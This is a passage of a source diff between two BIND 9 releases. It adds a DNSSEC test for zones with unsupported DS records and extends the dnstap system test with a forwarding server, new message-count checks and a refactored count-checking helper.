+ksk=$("$KEYGEN" -K keys -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -f KSK "${zone}") +zsk=$("$KEYGEN" -K keys -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" "${zone}") + +cat "zones/${zone}db.in" "keys/$ksk.key" "keys/$zsk.key" >"zones/${zone}db" + +"$SIGNER" -S -K "keys" \ + -o "${zone}" \ + -f "zones/${zone}db.signed" \ + "zones/${zone}db" >/dev/null 2>&1 diff -Nru bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/ns3/zones/child.example.db.in bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/ns3/zones/child.example.db.in --- bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/ns3/zones/child.example.db.in 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/ns3/zones/child.example.db.in 2026-03-13 22:01:10.575881374 +0000 @@ -0,0 +1,18 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +child.example. 300 IN SOA ns1.child.example. admin.child.example. 2026021901 3600 900 86400 300 +api.child.example. 300 IN A 192.0.2.102 +child.example. 300 IN MX 10 mail.child.example. +mail.child.example. 300 IN A 192.0.2.101 +www.child.example. 300 IN A 192.0.2.100 +ns1.child.example. 300 IN A 10.53.0.3 +child.example. 300 IN NS ns1.child.example. diff -Nru bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/ns4/named.conf.j2 bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/ns4/named.conf.j2 --- bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/ns4/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/ns4/named.conf.j2 2026-03-13 22:01:10.576881342 +0000 @@ -0,0 +1,42 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +// NS4 + +options { + query-source address 10.53.0.4; + notify-source 10.53.0.4; + transfer-source 10.53.0.4; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.4; }; + listen-on-v6 { none; }; + recursion yes; + dnssec-validation yes; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.4 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; + +zone "." { + type hint; + file "../../_common/root.hint"; +}; + +include "trusted.conf"; diff -Nru bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/setup.sh bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/setup.sh --- bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/setup.sh 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/setup.sh 2026-03-13 22:01:10.576881342 +0000 @@ -0,0 +1,32 @@ +#!/bin/sh -e + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +# shellcheck source=conf.sh +. ../conf.sh + +set -e + +( + cd ns3 + $SHELL sign.sh +) + +( + cd ns2 + $SHELL sign.sh +) + +( + cd ns1 + $SHELL sign.sh +) diff -Nru bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/tests_mixed_ds.py bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/tests_mixed_ds.py --- bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/tests_mixed_ds.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/tests_mixed_ds.py 2026-03-13 22:01:10.576881342 +0000 @@ -0,0 +1,36 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import pytest + +import isctest + +pytestmark = pytest.mark.extra_artifacts( + [ + "ns*/dsset-*", + "ns*/keys", + "ns*/keys/*.key", + "ns*/keys/*.private", + "ns*/trusted.conf", + "ns*/zones/*.db", + "ns*/zones/*.db.signed", + ] +) + + +def test_mixed_ds(): + msg = isctest.query.create("child.example.", "DNSKEY") + res = isctest.query.tcp(msg, "10.53.0.4") + isctest.check.servfail(res) + + msg = isctest.query.create("child.example.", "A") + res = isctest.query.tcp(msg, "10.53.0.4") + isctest.check.servfail(res) diff -Nru bind9-9.20.18/bin/tests/system/dnstap/ns5/named.conf.j2 bind9-9.20.21/bin/tests/system/dnstap/ns5/named.conf.j2 --- bind9-9.20.18/bin/tests/system/dnstap/ns5/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/dnstap/ns5/named.conf.j2 2026-03-13 22:01:10.592880831 +0000 @@ -0,0 +1,44 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.5; + notify-source 10.53.0.5; + transfer-source 10.53.0.5; + port @PORT@; + directory "."; + pid-file "named.pid"; + listen-on { 10.53.0.5; }; + listen-on-v6 { none; }; + recursion yes; + notify yes; + dnstap-identity "ns5"; + dnstap-version "xxx"; + dnstap-output file "dnstap.out"; + dnstap { all; }; + send-cookie no; + require-server-cookie no; + dnssec-validation no; + qname-minimization disabled; + forwarders { 10.53.0.3; }; + forward only; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.5 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; diff -Nru bind9-9.20.18/bin/tests/system/dnstap/tests.sh bind9-9.20.21/bin/tests/system/dnstap/tests.sh --- bind9-9.20.18/bin/tests/system/dnstap/tests.sh 2026-01-09 13:39:28.061971666 +0000 +++ bind9-9.20.21/bin/tests/system/dnstap/tests.sh 2026-03-13 22:01:10.592880831 +0000 @@ -15,7 +15,7 @@ . ../conf.sh -DIGOPTS="+short -p ${PORT}" +DIGOPTS="-p ${PORT}" RNDCCMD="$RNDC -p ${CONTROLPORT} -c ../_common/rndc.conf" status=0 @@ -37,6 +37,13 @@ fi } +check_count() { + [ $2 -eq $3 ] || { + echo_i "$1 $2 expected $3" + ret=1 + } +} + for bad in bad-*.conf; do ret=0 echo_i "checking that named-checkconf detects error in $bad" @@ -71,6 +78,7 @@ wait_for_log 20 "all zones loaded" ns2/named.run || ret=1 wait_for_log 20 "all zones loaded" ns3/named.run || ret=1 wait_for_log 20 "all zones loaded" ns4/named.run || ret=1 +wait_for_log 20 "all zones loaded" ns5/named.run || ret=1 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) @@ -89,6 +97,7 @@ # ns1: dnstap-reopen; ns2: dnstap -reopen; ns3: dnstap -roll mv ns1/dnstap.out ns1/dnstap.out.save mv ns2/dnstap.out ns2/dnstap.out.save +mv ns5/dnstap.out ns5/dnstap.out.save if [ -n "$FSTRM_CAPTURE" ]; then ret=0 @@ -107,10 +116,11 @@ $RNDCCMD -s 10.53.0.2 dnstap -reopen | sed 's/^/ns2 /' | cat_i $RNDCCMD -s 10.53.0.3 dnstap -roll | sed 's/^/ns3 /' | cat_i $RNDCCMD -s 10.53.0.4 dnstap -reopen | sed 's/^/ns4 /' | cat_i +$RNDCCMD -s 10.53.0.5 dnstap -reopen | sed 's/^/ns5 /' | cat_i echo_i "send test traffic" ret=0 -$DIG $DIGOPTS @10.53.0.3 a.example >dig.out || ret=1 +$DIG $DIGOPTS @10.53.0.5 a.example >dig.out || ret=1 # send an UPDATE to ns2 $NSUPDATE <<-EOF @@ -128,6 +138,7 @@ $RNDCCMD -s 10.53.0.1 stop | sed 's/^/ns1 /' | cat_i $RNDCCMD -s 10.53.0.2 stop | sed 's/^/ns2 /' | cat_i $RNDCCMD -s 10.53.0.3 stop | sed 's/^/ns3 /' | cat_i +$RNDCCMD -s 10.53.0.5 stop | sed 's/^/ns5 /' | cat_i sleep 1 @@ -139,6 +150,8 @@ ar1=$($DNSTAPREAD ns1/dnstap.out.save | grep "AR " | wc -l) cq1=$($DNSTAPREAD ns1/dnstap.out.save | grep "CQ " | wc -l) cr1=$($DNSTAPREAD ns1/dnstap.out.save | grep "CR " | wc -l) +fq1=$($DNSTAPREAD ns1/dnstap.out.save | grep "FQ " | wc -l) +fr1=$($DNSTAPREAD ns1/dnstap.out.save | grep "FR " | wc -l) rq1=$($DNSTAPREAD ns1/dnstap.out.save | grep "RQ " | wc -l) rr1=$($DNSTAPREAD ns1/dnstap.out.save | grep "RR " | wc -l) uq1=$($DNSTAPREAD ns1/dnstap.out.save | grep "UQ " | wc -l) @@ -150,6 +163,8 @@ ar2=$($DNSTAPREAD ns2/dnstap.out.save | grep "AR " | wc -l) cq2=$($DNSTAPREAD ns2/dnstap.out.save | grep "CQ " | wc -l) cr2=$($DNSTAPREAD ns2/dnstap.out.save | grep "CR " | wc -l) +fq2=$($DNSTAPREAD ns2/dnstap.out.save | grep "FQ " | wc -l) +fr2=$($DNSTAPREAD ns2/dnstap.out.save | grep "FR " | wc -l) rq2=$($DNSTAPREAD ns2/dnstap.out.save | grep "RQ " | wc -l) rr2=$($DNSTAPREAD ns2/dnstap.out.save | grep "RR " | wc -l) uq2=$($DNSTAPREAD ns2/dnstap.out.save | grep "UQ " | wc -l) @@ -162,178 +177,131 @@ ar3=$($DNSTAPREAD ns3/dnstap.out.save | grep "AR " | wc -l) cq3=$($DNSTAPREAD ns3/dnstap.out.save | grep "CQ " | wc -l) cr3=$($DNSTAPREAD ns3/dnstap.out.save | grep "CR " | wc -l) +fq3=$($DNSTAPREAD ns3/dnstap.out.save | grep "FQ " | wc -l) +fr3=$($DNSTAPREAD ns3/dnstap.out.save | grep "FR " | wc -l) rq3=$($DNSTAPREAD ns3/dnstap.out.save | grep "RQ " | wc -l) rr3=$($DNSTAPREAD ns3/dnstap.out.save | grep "RR " | wc -l) uq3=$($DNSTAPREAD ns3/dnstap.out.save | grep "UQ " | wc -l) ur3=$($DNSTAPREAD ns3/dnstap.out.save | grep "UR " | wc -l) +udp5=$($DNSTAPREAD ns5/dnstap.out.save | grep "UDP " | wc -l) +tcp5=$($DNSTAPREAD ns5/dnstap.out.save | grep "TCP " | wc -l) +aq5=$($DNSTAPREAD ns5/dnstap.out.save | grep "AQ " | wc -l) +ar5=$($DNSTAPREAD ns5/dnstap.out.save | grep "AR " | wc -l) +cq5=$($DNSTAPREAD ns5/dnstap.out.save | grep "CQ " | wc -l) +cr5=$($DNSTAPREAD ns5/dnstap.out.save | grep "CR " | wc -l) +fq5=$($DNSTAPREAD ns5/dnstap.out.save | grep "FQ " | wc -l) +fr5=$($DNSTAPREAD ns5/dnstap.out.save | grep "FR " | wc -l) +rq5=$($DNSTAPREAD ns5/dnstap.out.save | grep "RQ " | wc -l) +rr5=$($DNSTAPREAD ns5/dnstap.out.save | grep "RR " | wc -l) +uq5=$($DNSTAPREAD ns5/dnstap.out.save | grep "UQ " | wc -l) +ur5=$($DNSTAPREAD ns5/dnstap.out.save | grep "UR " | wc -l) + echo_i "checking UDP message counts" ret=0 -[ $udp1 -eq 0 ] || { - echo_i "ns1 $udp1 expected 0" - ret=1 -} -[ $udp2 -eq 2 ] || { - echo_i "ns2 $udp2 expected 2" - ret=1 -} -[ $udp3 -eq 4 ] || { - echo_i "ns3 $udp3 expected 4" - ret=1 -} +check_count ns1 $udp1 0 +check_count ns2 $udp2 2 +check_count ns3 $udp3 4 +check_count ns5 $udp5 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking TCP message counts" ret=0 -[ $tcp1 -eq 6 ] || { - echo_i "ns1 $tcp1 expected 6" - ret=1 -} -[ $tcp2 -eq 2 ] || { - echo_i "ns2 $tcp2 expected 2" - ret=1 -} -[ $tcp3 -eq 6 ] || { - echo_i "ns3 $tcp3 expected 6" - ret=1 -} +check_count ns1 $tcp1 6 +check_count ns2 $tcp2 2 +check_count ns3 $tcp3 6 +check_count ns5 $tcp5 2 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking AUTH_QUERY message counts" ret=0 -[ $aq1 -eq 3 ] || { - echo_i "ns1 $aq1 exepcted 3" - ret=1 -} -[ $aq2 -eq 2 ] || { - echo_i "ns2 $aq2 expected 2" - ret=1 -} -[ $aq3 -eq 1 ] || { - echo_i "ns3 $aq3 expected 1" - ret=1 -} +check_count ns1 $aq1 3 +check_count ns2 $aq2 2 +check_count ns3 $aq3 1 +check_count ns5 $aq5 1 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking AUTH_RESPONSE message counts" ret=0 -[ $ar1 -eq 2 ] || { - echo_i "ns1 $ar1 expected 2" - ret=1 -} -[ $ar2 -eq 1 ] || { - echo_i "ns2 $ar2 expected 1" - ret=1 -} -[ $ar3 -eq 0 ] || { - echo_i "ns3 $ar3 expected 0" - ret=1 -} +check_count ns1 $ar1 2 +check_count ns2 $ar2 1 +check_count ns3 $ar3 0 +check_count ns5 $ar5 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking CLIENT_QUERY message counts" ret=0 -[ $cq1 -eq 0 ] || { - echo_i "ns1 $cq1 expected 0" - ret=1 -} -[ $cq2 -eq 0 ] || { - echo_i "ns2 $cq2 expected 0" - ret=1 -} -[ $cq3 -eq 1 ] || { - echo_i "ns3 $cq3 expected 1" - ret=1 -} +check_count ns1 $cq1 0 +check_count ns2 $cq2 0 +check_count ns3 $cq3 1 +check_count ns5 $cq5 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking CLIENT_RESPONSE message counts" ret=0 -[ $cr1 -eq 1 ] || { - echo_i "ns1 $cr1 expected 1" - ret=1 -} -[ $cr2 -eq 1 ] || { - echo_i "ns2 $cr2 expected 1" - ret=1 -} -[ $cr3 -eq 2 ] || { - echo_i "ns3 $cr3 expected 2" - ret=1 -} +check_count ns1 $cr1 1 +check_count ns2 $cr2 1 +check_count ns3 $cr3 2 +check_count ns5 $cr5 1 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking RESOLVER_QUERY message counts" ret=0 -[ $rq1 -eq 0 ] || { - echo_i "ns1 $rq1 expected 0" - ret=1 -} -[ $rq2 -eq 0 ] || { - echo_i "ns2 $rq2 expected 0" - ret=1 -} -[ $rq3 -eq 3 ] || { - echo_i "ns3 $rq3 expected 3" - ret=1 -} +check_count ns1 $rq1 0 +check_count ns2 $rq2 0 +check_count ns3 $rq3 3 +check_count ns5 $rq5 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking RESOLVER_RESPONSE message counts" ret=0 -[ $rr1 -eq 0 ] || { - echo_i "ns1 $rr1 expected 0" - ret=1 -} -[ $rr2 -eq 0 ] || { - echo_i "ns2 $rr2 expected 0" - ret=1 -} -[ $rr3 -eq 3 ] || { - echo_i "ns3 $rr3 expected 3" - ret=1 -} +check_count ns1 $rr1 0 +check_count ns2 $rr2 0 +check_count ns3 $rr3 3 +check_count ns5 $rr5 0 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +echo_i "checking FORWARD_QUERY message counts" +ret=0 +check_count ns1 $fq1 0 +check_count ns2 $fq2 0 +check_count ns3 $fq3 0 +check_count ns5 $fq5 0 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +echo_i "checking FORWARD_RESPONSE message counts" +ret=0 +check_count ns1 $fr1 0 +check_count ns2 $fr2 0 +check_count ns3 $fr3 0 +check_count ns5 $fr5 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking UPDATE_QUERY message counts" ret=0 -[ $uq1 -eq 0 ] || { - echo_i "ns1 $uq1 expected 0" - ret=1 -} -[ $uq2 -eq 0 ] || { - echo_i "ns2 $uq2 expected 0" - ret=1 -} -[ $uq3 -eq 0 ] || { - echo_i "ns3 $uq3 expected 0" - ret=1 -} +check_count ns1 $uq1 0 +check_count ns2 $uq2 0 +check_count ns3 $uq3 0 +check_count ns5 $uq5 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking UPDATE_RESPONSE message counts" ret=0 -[ $ur1 -eq 0 ] || { - echo_i "ns1 $ur1 expected 0" - ret=1 -} -[ $ur2 -eq 0 ] || { - echo_i "ns2 $ur2 expected 0" - ret=1 -} -[ $ur3 -eq 0 ] || { - echo_i "ns3 $ur3 expected 0" - ret=1 -} +check_count ns1 $ur1 0 +check_count ns2 $ur2 0 +check_count ns3 $ur3 0 +check_count ns5 $ur5 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) @@ -345,6 +313,8 @@ ar1=$($DNSTAPREAD ns1/dnstap.out | grep "AR " | wc -l) cq1=$($DNSTAPREAD ns1/dnstap.out | grep "CQ " | wc -l) cr1=$($DNSTAPREAD ns1/dnstap.out | grep "CR " | wc -l) +fq1=$($DNSTAPREAD ns1/dnstap.out | grep "FQ " | wc -l) +fr1=$($DNSTAPREAD ns1/dnstap.out | grep "FR " | wc -l) rq1=$($DNSTAPREAD ns1/dnstap.out | grep "RQ " | wc -l) rr1=$($DNSTAPREAD ns1/dnstap.out | grep "RR " | wc -l) uq1=$($DNSTAPREAD ns1/dnstap.out | grep "UQ " | wc -l) @@ -356,6 +326,8 @@ ar2=$($DNSTAPREAD ns2/dnstap.out | grep "AR " | wc -l) cq2=$($DNSTAPREAD ns2/dnstap.out | grep "CQ " | wc -l) cr2=$($DNSTAPREAD ns2/dnstap.out | grep "CR " | wc -l) +fq2=$($DNSTAPREAD ns2/dnstap.out | grep "FQ " | wc -l) +fr2=$($DNSTAPREAD ns2/dnstap.out | grep "FR " | wc -l) rq2=$($DNSTAPREAD ns2/dnstap.out | grep "RQ " | wc -l) rr2=$($DNSTAPREAD ns2/dnstap.out | grep "RR " | wc -l) uq2=$($DNSTAPREAD ns2/dnstap.out | grep "UQ " | wc -l) @@ -367,178 +339,131 @@ ar3=$($DNSTAPREAD ns3/dnstap.out | grep "AR " | wc -l) cq3=$($DNSTAPREAD ns3/dnstap.out | grep "CQ " | wc -l) cr3=$($DNSTAPREAD ns3/dnstap.out | grep "CR " | wc -l) +fq3=$($DNSTAPREAD ns3/dnstap.out | grep "FQ " | wc -l) +fr3=$($DNSTAPREAD ns3/dnstap.out | grep "FR " | wc -l) rq3=$($DNSTAPREAD ns3/dnstap.out | grep "RQ " | wc -l) rr3=$($DNSTAPREAD ns3/dnstap.out | grep "RR " | wc -l) uq3=$($DNSTAPREAD ns3/dnstap.out | grep "UQ " | wc -l) ur3=$($DNSTAPREAD ns3/dnstap.out | grep "UR " | wc -l) +udp5=$($DNSTAPREAD ns5/dnstap.out | grep "UDP " | wc -l) +tcp5=$($DNSTAPREAD ns5/dnstap.out | grep "TCP " | wc -l) +aq5=$($DNSTAPREAD ns5/dnstap.out | grep "AQ " | wc -l) +ar5=$($DNSTAPREAD ns5/dnstap.out | grep "AR " | wc -l) +cq5=$($DNSTAPREAD ns5/dnstap.out | grep "CQ " | wc -l) +cr5=$($DNSTAPREAD ns5/dnstap.out | grep "CR " | wc -l) +fq5=$($DNSTAPREAD ns5/dnstap.out | grep "FQ " | wc -l) +fr5=$($DNSTAPREAD ns5/dnstap.out | grep "FR " | wc -l) +rq5=$($DNSTAPREAD ns5/dnstap.out | grep "RQ " | wc -l) +rr5=$($DNSTAPREAD ns5/dnstap.out | grep "RR " | wc -l) +uq5=$($DNSTAPREAD ns5/dnstap.out | grep "UQ " | wc -l) +ur5=$($DNSTAPREAD ns5/dnstap.out | grep "UR " | wc -l) + echo_i "checking UDP message counts" ret=0 -[ $udp1 -eq 0 ] || { - echo_i "ns1 $udp1 expected 0" - ret=1 -} -[ $udp2 -eq 2 ] || { - echo_i "ns2 $udp2 expected 2" - ret=1 -} -[ $udp3 -eq 2 ] || { - echo_i "ns3 $udp3 expected 2" - ret=1 -} +check_count ns1 $udp1 0 +check_count ns2 $udp2 2 +check_count ns3 $udp3 2 +check_count ns5 $udp5 4 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking TCP message counts" ret=0 -[ $tcp1 -eq 0 ] || { - echo_i "ns1 $tcp1 expected 0" - ret=1 -} -[ $tcp2 -eq 0 ] || { - echo_i "ns2 $tcp2 expected 0" - ret=1 -} -[ $tcp3 -eq 0 ] || { - echo_i "ns3 $tcp3 expected 0" - ret=1 -} +check_count ns1 $tcp1 0 +check_count ns2 $tcp2 0 +check_count ns3 $tcp3 0 +check_count ns5 $tcp5 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking AUTH_QUERY message counts" ret=0 -[ $aq1 -eq 0 ] || { - echo_i "ns1 $aq1 exepcted 0" - ret=1 -} -[ $aq2 -eq 0 ] || { - echo_i "ns2 $aq2 expected 0" - ret=1 -} -[ $aq3 -eq 0 ] || { - echo_i "ns3 $aq3 expected 0" - ret=1 -} +check_count ns1 $aq1 0 +check_count ns2 $aq2 0 +check_count ns3 $aq3 0 +check_count ns5 $aq5 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking AUTH_RESPONSE message counts" ret=0 -[ $ar1 -eq 0 ] || { - echo_i "ns1 $ar1 expected 0" - ret=1 -} -[ $ar2 -eq 0 ] || { - echo_i "ns2 $ar2 expected 0" - ret=1 -} -[ $ar3 -eq 0 ] || { - echo_i "ns3 $ar3 expected 0" - ret=1 -} +check_count ns1 $ar1 0 +check_count ns2 $ar2 0 +check_count ns3 $ar3 0 +check_count ns5 $ar5 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking CLIENT_QUERY message counts" ret=0 -[ $cq1 -eq 0 ] || { - echo_i "ns1 $cq1 expected 0" - ret=1 -} -[ $cq2 -eq 0 ] || { - echo_i "ns2 $cq2 expected 0" - ret=1 -} -[ $cq3 -eq 1 ] || { - echo_i "ns3 $cq3 expected 1" - ret=1 -} +check_count ns1 $cq1 0 +check_count ns2 $cq2 0 +check_count ns3 $cq3 1 +check_count ns5 $cq5 1 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking CLIENT_RESPONSE message counts" ret=0 -[ $cr1 -eq 0 ] || { - echo_i "ns1 $cr1 expected 0" - ret=1 -} -[ $cr2 -eq 0 ] || { - echo_i "ns2 $cr2 expected 0" - ret=1 -} -[ $cr3 -eq 1 ] || { - echo_i "ns3 $cr3 expected 1" - ret=1 -} +check_count ns1 $cr1 0 +check_count ns2 $cr2 0 +check_count ns3 $cr3 1 +check_count ns5 $cr5 1 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking RESOLVER_QUERY message counts" ret=0 -[ $rq1 -eq 0 ] || { - echo_i "ns1 $rq1 expected 0" - ret=1 -} -[ $rq2 -eq 0 ] || { - echo_i "ns2 $rq2 expected 0" - ret=1 -} -[ $rq3 -eq 0 ] || { - echo_i "ns3 $rq3 expected 0" - ret=1 -} +check_count ns1 $rq1 0 +check_count ns2 $rq2 0 +check_count ns3 $rq3 0 +check_count ns5 $rq5 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking RESOLVER_RESPONSE message counts" ret=0 -[ $rr1 -eq 0 ] || { - echo_i "ns1 $rr1 expected 0" - ret=1 -} -[ $rr2 -eq 0 ] || { - echo_i "ns2 $rr2 expected 0" - ret=1 -} -[ $rr3 -eq 0 ] || { - echo_i "ns3 $rr3 expected 0" - ret=1 -} +check_count ns1 $rr1 0 +check_count ns2 $rr2 0 +check_count ns3 $rr3 0 +check_count ns5 $rr5 0 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +echo_i "checking FORWARD_QUERY message counts" +ret=0 +check_count ns1 $fq1 0 +check_count ns2 $fq2 0 +check_count ns3 $fq3 0 +check_count ns5 $fq5 1 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +echo_i "checking FORWARD_RESPONSE message counts" +ret=0 +check_count ns1 $fr1 0 +check_count ns2 $fr2 0 +check_count ns3 $fr3 0 +check_count ns5 $fr5 1 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking UPDATE_QUERY message counts" ret=0 -[ $uq1 -eq 0 ] || { - echo_i "ns1 $uq1 expected 0" - ret=1 -} -[ $uq2 -eq 1 ] || { - echo_i "ns2 $uq2 expected 1" - ret=1 -} -[ $uq3 -eq 0 ] || { - echo_i "ns3 $uq3 expected 0" - ret=1 -} +check_count ns1 $uq1 0 +check_count ns2 $uq2 1 +check_count ns3 $uq3 0 +check_count ns5 $uq5 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking UPDATE_RESPONSE message counts" ret=0 -[ $ur1 -eq 0 ] || { - echo_i "ns1 $ur1 expected 0" - ret=1 -} -[ $ur2 -eq 1 ] || { - echo_i "ns2 $ur2 expected 1" - ret=1 -} -[ $ur3 -eq 0 ] || { - echo_i "ns3 $ur3 expected 0" - ret=1 -} +check_count ns1 $ur1 0 +check_count ns2 $ur2 1 +check_count ns3 $ur3 0 +check_count ns5 $ur5 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) @@ -598,6 +523,8 @@ ar4=$($DNSTAPREAD dnstap.out | grep "AR " | wc -l) cq4=$($DNSTAPREAD dnstap.out | grep "CQ " | wc -l) cr4=$($DNSTAPREAD dnstap.out | grep "CR " | wc -l) + fq4=$($DNSTAPREAD dnstap.out | grep "FQ " | wc -l) + fr4=$($DNSTAPREAD dnstap.out | grep "FR " | wc -l) rq4=$($DNSTAPREAD dnstap.out | grep "RQ " | wc -l) rr4=$($DNSTAPREAD dnstap.out | grep "RR " | wc -l) uq4=$($DNSTAPREAD dnstap.out | grep "UQ " | wc -l) @@ -605,89 +532,73 @@ echo_i "checking UDP message counts" ret=0 - [ $udp4 -eq 4 ] || { - echo_i "ns4 $udp4 expected 4" - ret=1 - } + check_count ns4 $udp4 4 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking TCP message counts" ret=0 - [ $tcp4 -eq 0 ] || { - echo_i "ns4 $tcp4 expected 0" - ret=1 - } + check_count ns4 $tcp4 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking AUTH_QUERY message counts" ret=0 - [ $aq4 -eq 0 ] || { - echo_i "ns4 $aq4 expected 0" - ret=1 - } + check_count ns4 $aq4 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking AUTH_RESPONSE message counts" ret=0 - [ $ar4 -eq 0 ] || { - echo_i "ns4 $ar4 expected 0" - ret=1 - } + check_count ns4 $ar4 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking CLIENT_QUERY message counts" ret=0 - [ $cq4 -eq 1 ] || { - echo_i "ns4 $cq4 expected 1" - ret=1 - } + check_count ns4 $cq4 1 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking CLIENT_RESPONSE message counts" ret=0 - [ $cr4 -eq 1 ] || { - echo_i "ns4 $cr4 expected 1" - ret=1 - } + check_count ns4 $cr4 1 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking RESOLVER_QUERY message counts" ret=0 - [ $rq4 -eq 0 ] || { - echo_i "ns4 $rq4 expected 0" - ret=1 - } + check_count ns4 $rq4 0 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking RESOLVER_RESPONSE message counts" ret=0 - [ $rr4 -eq 0 ] || { - echo_i "ns4 $rr4 expected 0" - ret=1 - } + check_count ns4 $rr4 0 + if [ $ret != 0 ]; then echo_i "failed"; fi + status=$((status + ret)) + + echo_i "checking FORWARDER_QUERY message counts" + ret=0 + check_count ns4 $fq4 0 + if [ $ret != 0 ]; then echo_i "failed"; fi + status=$((status + ret)) + + echo_i "checking FORWARDER_RESPONSE message counts" + ret=0 + check_count ns4 $fr4 0 + if [ $ret != 0 ]; then echo_i "failed"; fi + status=$((status + ret)) echo_i "checking UPDATE_QUERY message counts" ret=0 - [ $uq4 -eq 1 ] || { - echo_i "ns4 $uq4 expected 1" - ret=1 - } + check_count ns4 $uq4 1 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) echo_i "checking UPDATE_RESPONSE message counts" ret=0 - [ 